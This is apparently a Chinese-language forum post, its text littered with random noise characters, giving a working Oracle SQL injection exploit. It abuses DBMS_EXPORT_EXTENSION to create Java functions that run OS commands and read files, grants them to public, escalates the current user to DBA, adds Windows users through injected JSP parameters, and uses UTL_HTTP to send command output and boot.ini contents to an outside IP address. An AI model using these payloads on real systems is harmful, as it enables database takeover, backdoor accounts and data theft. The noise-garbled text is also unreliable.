" B, g2 v; N3 J4 [" @. |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' * ~3 j4 \! ~% H0 D" ^8 \/ Gcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual; k5 u5 g8 ?* H d- r
[1 u! w! S# a- yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. V! d) F: J3 ?
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual 2 C& b' \0 }$ w' F+ h" U2 W3 z, z* D% ]3 u. {1 s& A
4.赋public执行函数的权限( D8 a& T1 ~7 C) ?% \" p3 O
1 F/ `9 f9 I$ y+ ^0 C' Y9 a5 T6 m; nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual% P8 o g/ Z8 J8 P+ D% J4 U! W
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ h3 U) r) ~: o/ ~) _; r
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5.测试上面的几步是否成功7 K5 o4 ^ v- Q9 y1 C' W4 c
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and '1'<>'11'||( 4 ~2 X/ g8 {. L: i- \. Cselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD', i3 C6 D' ?8 ~4 ^
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and '1'<>(0 a' U5 B; c, `6 e" U' k, t
select OBJECT_ID from all_objects where object_name ='LINXREADFILE' 6 A' {7 p% a5 K! v9 a# e+ e1 N) , B& [; N9 q0 L! C8 x H% X & R$ d* Z5 y% `' c6 P6.执行命令:" |* {2 L* k- w/ j! h- S$ K
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select sys.LinxRunCMD('cmd /c net user linx /add') from dual( ?! j$ p# B; r
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+ ]5 X4 r w% }' y/ a. G/xxx.jsp?id=1 and '1'<>( / I: E9 `0 K& X* J( F2 _select sys.LinxReadFile('c:/boot.ini') from dual3 U" N C: n8 E/ ]- l
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。# E0 j& d, A3 N6 U5 Q: A4 |
如果要查看运行结果可以用 union :5 v( _! W( F5 ~$ N8 D
: }: s5 w' l( V4 A1 j/ b4 d/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual8 x* R- f& _' A/ H& w9 e
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或者UTL_HTTP.request(: & O: z+ q* m0 a. L ! {/ }' J g0 |; z9 N/xxx.jsp?id=1 and '1'<>( Y% ]2 m8 `0 n1 |' a
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual) K' ^7 w; s1 d+ w5 M4 n( M
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2 p2 ]" s+ h3 n% }' Y7 H/xxx.jsp?id=1 and '1'<>( 7 u& z, K( {# ?- a' kSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual 3 ?3 I+ ] j d: C& P)9 g" Q+ q H4 E& U2 z: k
8 r. z/ w' Z. d7 R- L1.创建函数 0 C7 G) _; Y) k, U9 @ vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& d' x6 J) Y2 ^' }2 G/ _
create or replace function Linx_Query (p / U5 ?- a4 p2 g& N7 W, }varchar2) return number authid current_user is begin execute immediate. |2 e6 P0 J. [3 n: K
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;$ g6 S3 j& `/ X, k
* X! F( J# O8 b' | _6 A7 C& z- l如果有权限,以下语句应该允许正常4 I- A2 {, }9 l' s2 o
select sys.linx_query('select 1 from dual') from dual;$ y- {. w: `4 S* w
, }6 E* h* |9 o- \, i7 y不然的话运行:6 c" ~$ X" a) Z4 O
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" G( S' g1 S1 q: c& s$ ~
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual N5 R6 `( ~# d- L0 Y5 o8 }3 y0 u m2 B( m' Z1 Q: J- g
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2.创建包 q! S5 y5 k6 W. l; ?SELECT sys.Linx_Query('declare pragma, E/ N# j( e3 r6 _0 ^
autonomous_transaction; begin execute immediate '' V' L t$ j! j8 n1 D( Z% Zcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader( 0 U W/ v W) r+ d* y* g6 S* |# Onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual9 L' k+ J/ H3 i" o
- ^) O# z9 d* o8 d4 a3.创建函数 C' I2 e, U( M# \: ?- r# C+ X& K5 |SELECT sys.Linx_Query('declare pragma $ A$ j# X( V' Z4 fautonomous_transaction; begin execute immediate '' o7 X; E4 L# D' v
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual( N* J' J0 [# C6 {+ Z) R
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4.给权限0 H: R9 A4 p: J% V& n6 s) u
给用户SYSTEM执行权限: & E/ \& S) v3 j& z0 T * x; k$ p5 f: q/ M8 x6 i/ Z4 uSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual+ u( J" ?7 O, q
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+ u, ?9 q4 N4 k! l% E" y3 F ( t! l) O& X* _ ~" L5.执行函数 Z1 }+ Y8 i' a) \/ E. F2 ]select RunCMD2('cmd /c dir') from dual( b% l4 p. b* @: H2 d
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